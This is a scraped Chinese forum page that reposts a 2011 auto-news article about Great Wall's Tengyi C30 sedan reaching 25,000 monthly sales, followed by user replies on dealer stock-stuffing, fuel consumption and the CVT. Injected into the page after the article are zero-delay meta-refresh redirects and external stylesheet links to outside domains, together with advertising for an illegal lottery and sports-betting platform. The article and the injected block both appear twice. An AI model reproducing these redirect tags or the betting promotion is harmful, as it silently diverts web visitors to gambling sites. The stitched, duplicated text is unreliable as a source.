自主从量变到质变 12月腾翼C30销量25000辆(转贴)

来源:百度文库 编辑:超级军网 时间:2024/03/28 19:35:27
<br /><br />http://auto.sina.com.cn/news/2011-01-14/1051704136.shtml


随着自主品牌近几年的发展,市场占有率逐渐提升,目前按国别划分,中国造汽车已经排第一位,约占半壁江山。

  目前,各自主品牌企业已经拥有了一批明星车型,月销量在一万辆以上,在各自的细分市场成为主流车型。如果说奇瑞QQ、吉利熊猫(配置 图库 口碑 论坛 4S店)和比亚迪F0(配置 图库 口碑 论坛 4S店)等小排量经济型轿车的热销,是因为这些车型价格便宜,使用成本也低,功用上基本是代步工具;而购买A级紧凑型轿车的消费者与其有本质区别,似乎给他们的爱车赋予了更多的含义,尽管A级车只算得上是入门级家轿,但与类似玩具的A0、A00级相比,还是更有轿车的感觉。事实上,中国A级车的消费者,都是事业上有了一定成绩,从学识、身份、影响力等角度看,属于社会中中产阶级一族,是社会的主体人群。比如买华晨骏捷(配置 图库 口碑 论坛 4S店)的人,还多少会有一点“开小宝马”的虚荣心。

  数据显示,全国轿车销售前列企业分别是上海通用、上海大众、一汽-大众、北京现代、广州本田、天津一汽夏利(配置 图库 口碑 论坛)、奇瑞汽车、东风日产、神龙汽车和一汽丰田。这十家企业的一个共同特点是,尽管产品线越来越丰富,但是真正对企业销售起到支撑作用的仍然是一两个主力车型。其中,有6家企业的主力车型是中级车,如上海通用销售最好的三厢凯越(配置 图库 口碑 论坛)、上海大众的主力车型桑塔纳(配置 图库 口碑 论坛)、一汽-大众的捷达(配置 图库 口碑 论坛)、北京现代单一品牌销售冠军伊兰特(配置 图库 口碑 论坛)、天津一汽丰田的花冠(配置 图库 口碑 论坛)及神龙汽车的爱丽舍(配置 图库 口碑 论坛)和标致307(配置 图库 口碑 论坛)(配置 图库 口碑 论坛)。

  在这种情况下,抢占A级车市场份额,对于品牌弱势的自主汽车企业,需要更多的努力,而如果能在这个竞争激烈的领域实现月销量过万,也决不仅是量变,而是质变。因为在同质化越来越严重的今天,任何单一的要素都无法决定理性消费者的行为,在集中了近一半车型的A级车领域的成功,意味着从外观、技术、品质、品牌到售后服务等各个方面、全方位的成功。

  可喜的是,目前,自主品牌已经有一些车型实现了这个目标,已经涌现出一批明星车型,月销量已进入“万辆俱乐部”,进入销量榜第一阵营。比如老牌的比亚迪F3(配置 图库 口碑 论坛 4S店),还有新军腾翼C30(配置 图库 口碑 论坛)。如果说比亚迪F3成功背后,还有近年来积累的口碑做后盾,而腾翼C30作为上市仅几个月的新军,完全靠产品的品质和服务。2010年12月,腾翼C30销量已经达到25000辆,A级家轿王的锋芒已经显露出来。

  中级家轿是主流市场,市场份额占一半左右,合资品牌明星车云集,竞争异常激烈。随着合资品牌节约成本,提高本土化率,价格不断降低。自主品牌如果再靠降价,利润空间将越来越小。多数自主品牌靠价格战促进销量,但腾翼C30却走价值战路线,通过精准定位,提高产品品质,闯出了一条新路。如果说月销量过万意味着成为主流产品,但仅仅依靠价格只能是量变,而通过品质和服务占领市场,才算真正站稳脚跟,实现从量变到质变。

  毫无市场积累,后来者能居上,腾翼C30靠的只能是产品本身的竞争力。A级车属于入门级车,消费者一般为首次购车,经济不算宽裕,但对汽车的需求却更全面,因此,即要有较高的性价比,又要使使用成本尽量降低,还要保证一定的舒适性。

  为达到降低油耗、加大空间,腾翼C30采用轻量化和长轴距短车身设计,通过车身设计、使用材料和制作工艺三大系统的整体改进,使得整备质量只有 1125Kg,油耗降低至6.5L-6.8L。在配置上,全铝VVT发动机、CVT无级变速器、ABS+EBD、双安全气囊、天窗、真皮座椅、发动机电子防盗等一应俱全,配合5.89—8.19万元的售价,腾翼C30由内到外散发着极具高性价比的震撼力。

  从外观上看,腾翼C30造型优雅、线条饱满,稳重大气,比例协调,符合大众审美观念。后备箱空间更是达到了惊人的510L,全方位满足家庭载物要求。在内部空间上,腾翼C30虽然为A级车,确是准B级车的水准。兼具实用性、经济性和舒适性,在“得性价比者得天下”的A级家庭轿车领域,腾翼C30 一问世就受到市场的热捧。

  事实上,腾翼C30跑出“腾翼速度”的原动力(配置 图库 口碑 论坛)还在长城汽车长期坚持的“中国造”。正是对于品质的坚持,腾翼C30承诺的4年或15万公里保修,2万公里4次免费保养的售后服务,超越同级别车型,从另一面也显示了长城汽车对腾翼C30品质的信心。在经济型轿车利润趋薄、高级轿车无法上量的情况下,自主品牌发力A级轿车市场是必然的选择,因为这意味着高的市场占有率及丰厚的利润回报。相对于合资品牌在更高端的市场上还有很大的空间,自主品牌在A级车市场意义更为重大,单纯的靠“价格战”已经没有出路,必须走“价值战”,使销量的逐步提升成为质的飞跃,而不只是量的叠加,这也是为以后向B级、C级甚至更高级市场迈进提供更多宝贵的财富。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球→篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
<br /><br />http://auto.sina.com.cn/news/2011-01-14/1051704136.shtml


随着自主品牌近几年的发展,市场占有率逐渐提升,目前按国别划分,中国造汽车已经排第一位,约占半壁江山。

  目前,各自主品牌企业已经拥有了一批明星车型,月销量在一万辆以上,在各自的细分市场成为主流车型。如果说奇瑞QQ、吉利熊猫(配置 图库 口碑 论坛 4S店)和比亚迪F0(配置 图库 口碑 论坛 4S店)等小排量经济型轿车的热销,是因为这些车型价格便宜,使用成本也低,功用上基本是代步工具;而购买A级紧凑型轿车的消费者与其有本质区别,似乎给他们的爱车赋予了更多的含义,尽管A级车只算得上是入门级家轿,但与类似玩具的A0、A00级相比,还是更有轿车的感觉。事实上,中国A级车的消费者,都是事业上有了一定成绩,从学识、身份、影响力等角度看,属于社会中中产阶级一族,是社会的主体人群。比如买华晨骏捷(配置 图库 口碑 论坛 4S店)的人,还多少会有一点“开小宝马”的虚荣心。

  数据显示,全国轿车销售前列企业分别是上海通用、上海大众、一汽-大众、北京现代、广州本田、天津一汽夏利(配置 图库 口碑 论坛)、奇瑞汽车、东风日产、神龙汽车和一汽丰田。这十家企业的一个共同特点是,尽管产品线越来越丰富,但是真正对企业销售起到支撑作用的仍然是一两个主力车型。其中,有6家企业的主力车型是中级车,如上海通用销售最好的三厢凯越(配置 图库 口碑 论坛)、上海大众的主力车型桑塔纳(配置 图库 口碑 论坛)、一汽-大众的捷达(配置 图库 口碑 论坛)、北京现代单一品牌销售冠军伊兰特(配置 图库 口碑 论坛)、天津一汽丰田的花冠(配置 图库 口碑 论坛)及神龙汽车的爱丽舍(配置 图库 口碑 论坛)和标致307(配置 图库 口碑 论坛)(配置 图库 口碑 论坛)。

  在这种情况下,抢占A级车市场份额,对于品牌弱势的自主汽车企业,需要更多的努力,而如果能在这个竞争激烈的领域实现月销量过万,也决不仅是量变,而是质变。因为在同质化越来越严重的今天,任何单一的要素都无法决定理性消费者的行为,在集中了近一半车型的A级车领域的成功,意味着从外观、技术、品质、品牌到售后服务等各个方面、全方位的成功。

  可喜的是,目前,自主品牌已经有一些车型实现了这个目标,已经涌现出一批明星车型,月销量已进入“万辆俱乐部”,进入销量榜第一阵营。比如老牌的比亚迪F3(配置 图库 口碑 论坛 4S店),还有新军腾翼C30(配置 图库 口碑 论坛)。如果说比亚迪F3成功背后,还有近年来积累的口碑做后盾,而腾翼C30作为上市仅几个月的新军,完全靠产品的品质和服务。2010年12月,腾翼C30销量已经达到25000辆,A级家轿王的锋芒已经显露出来。

  中级家轿是主流市场,市场份额占一半左右,合资品牌明星车云集,竞争异常激烈。随着合资品牌节约成本,提高本土化率,价格不断降低。自主品牌如果再靠降价,利润空间将越来越小。多数自主品牌靠价格战促进销量,但腾翼C30却走价值战路线,通过精准定位,提高产品品质,闯出了一条新路。如果说月销量过万意味着成为主流产品,但仅仅依靠价格只能是量变,而通过品质和服务占领市场,才算真正站稳脚跟,实现从量变到质变。

  毫无市场积累,后来者能居上,腾翼C30靠的只能是产品本身的竞争力。A级车属于入门级车,消费者一般为首次购车,经济不算宽裕,但对汽车的需求却更全面,因此,即要有较高的性价比,又要使使用成本尽量降低,还要保证一定的舒适性。

  为达到降低油耗、加大空间,腾翼C30采用轻量化和长轴距短车身设计,通过车身设计、使用材料和制作工艺三大系统的整体改进,使得整备质量只有 1125Kg,油耗降低至6.5L-6.8L。在配置上,全铝VVT发动机、CVT无级变速器、ABS+EBD、双安全气囊、天窗、真皮座椅、发动机电子防盗等一应俱全,配合5.89—8.19万元的售价,腾翼C30由内到外散发着极具高性价比的震撼力。

  从外观上看,腾翼C30造型优雅、线条饱满,稳重大气,比例协调,符合大众审美观念。后备箱空间更是达到了惊人的510L,全方位满足家庭载物要求。在内部空间上,腾翼C30虽然为A级车,确是准B级车的水准。兼具实用性、经济性和舒适性,在“得性价比者得天下”的A级家庭轿车领域,腾翼C30 一问世就受到市场的热捧。

  事实上,腾翼C30跑出“腾翼速度”的原动力(配置 图库 口碑 论坛)还在长城汽车长期坚持的“中国造”。正是对于品质的坚持,腾翼C30承诺的4年或15万公里保修,2万公里4次免费保养的售后服务,超越同级别车型,从另一面也显示了长城汽车对腾翼C30品质的信心。在经济型轿车利润趋薄、高级轿车无法上量的情况下,自主品牌发力A级轿车市场是必然的选择,因为这意味着高的市场占有率及丰厚的利润回报。相对于合资品牌在更高端的市场上还有很大的空间,自主品牌在A级车市场意义更为重大,单纯的靠“价格战”已经没有出路,必须走“价值战”,使销量的逐步提升成为质的飞跃,而不只是量的叠加,这也是为以后向B级、C级甚至更高级市场迈进提供更多宝贵的财富。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球→篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
C30给力
这阵子我就要入手C30了  我从2010关注到现在   这车确实可以   发动机在绚丽上已经检验过   外观中庸 内饰虽然没有凌傲那么好   但是说的过去  配置比较高
  加上长城的口碑确实比较好,质量可以信赖,希望我尽快提到车
C30挺不错的 漂亮、大方、便宜

我比较期待两厢的版本,就用南京邦奇的CVT,够用了

最好能两厢再Cross一把 ......
正好我姑父买了一辆腾翼C30,与我的远景停在一起比较哈哈。简单对比有以下差距,C30 后轮没有挡泥板,也没有隔音设施。备胎小尺寸,各个部位钣金都更薄,驾驶室内塑料味太浓,刺鼻。怠速声音比我的远景大很多!
这种突然的销量增加,只能是压库。
这是学习了不要动的统计方法吧
沈阳并没看见多少  销量不评论  可能市场做的好 还有外观好
内在比不上吉利的远景和英伦SC7  不过可能就是胜在外观吧
压库存而已~
苦了经销商~
经销商敢压就说明它不错,不像某些牌子根本不敢压
C30的确需要提升细节、提升品质。继续等待两厢Cross
妈的 写岔了
dzhiqiong 发表于 2011-1-17 10:22
比亚迪F3
我读书的地方半年只看到一量c30
ddeell72 发表于 2011-1-17 14:14


    自主车大多都这毛病。。。细节,品质都有毛病,摸着,看着,闻着,听着。。
砰砰! 发表于 2011-1-17 14:58
对啊,经销商敢压,销售冠军嘛
我喜欢C30的外观,中庸又带自己的个性,希望出个2箱cross更赞。
其实 压2万辆C30 F3之流 也就是 相当于压6000辆朗逸 新宝来之类的 还是有可能的
前天我订了黑色手动豪华。。。等车中。。
1月9号定的车,今天(1月18号)提车,银色手动豪华型

本来我的车没到的,这辆车的原定车主资金有点问题提不了车,正好我在纠缠销售mm,一心软就转给我了
回复 6# 天武纪


    兄弟已经深谙中国车厂的伎俩
回复 11# dzhiqiong


    还大校呢, 不要让人大笑, 不压没你的年底返利, 你拒绝压? BYD干过的, 再干一遍就是
笑熬浆糊 发表于 2011-1-18 23:38
车神马的都是浮云,MM的PP才是王道,赶快交出来共产之!!


两厢Cross!大家一起喊 !!!

两厢Cross!大家一起喊 !!!
回复 25# ddeell72


    两厢的有炫丽CROSS嘛
回复 26# 战争


C30比绚丽大了一圈啊
i6y6 发表于 2011-1-19 09:54
扯吧,F3热卖三年了,压几个月可能,压三年不可能。


我的也是C30,CVT豪华版。

我的也是C30,CVT豪华版。
w.y.q. 发表于 2011-1-19 21:58


    很好,玻璃水喷头改的位置不错,炫丽那个地方漏水,刚好滴到发动机上,老抑郁了,C30放的位置很合适,下面就是水槽,就是漏也没关系,赞一个
回复 28# dzhiqiong


    你的消息真灵通, 热卖3年?
C30配置还不错,就是外观我觉得太保守
w.y.q. 发表于 2011-1-19 21:58


兄弟,油耗何如啊 ?
还有,这个CVT用着感觉咋样啊  ?
回复 34# ddeell72


    我的车型综合报告 : 腾翼C302010款 1.5 CVT豪华型  
统计天数:24天  总加油量:153.10L  总行驶里程:1974.00KM  总平均油耗:7.76L/100km
这个CVT感觉呢 ?  顺畅度 ?
回复 36# ddeell72


    顺畅的。这个车提速是慢一些,不过只要大脚油,还是可以的,就是声音比较大。我热车起步大脚加油,转速2200,放一下,再加油,两下就到60公里/小时。然后1550转匀速60--65公里/小时。
回复 37# w.y.q.


    真车还是蛮不错的。。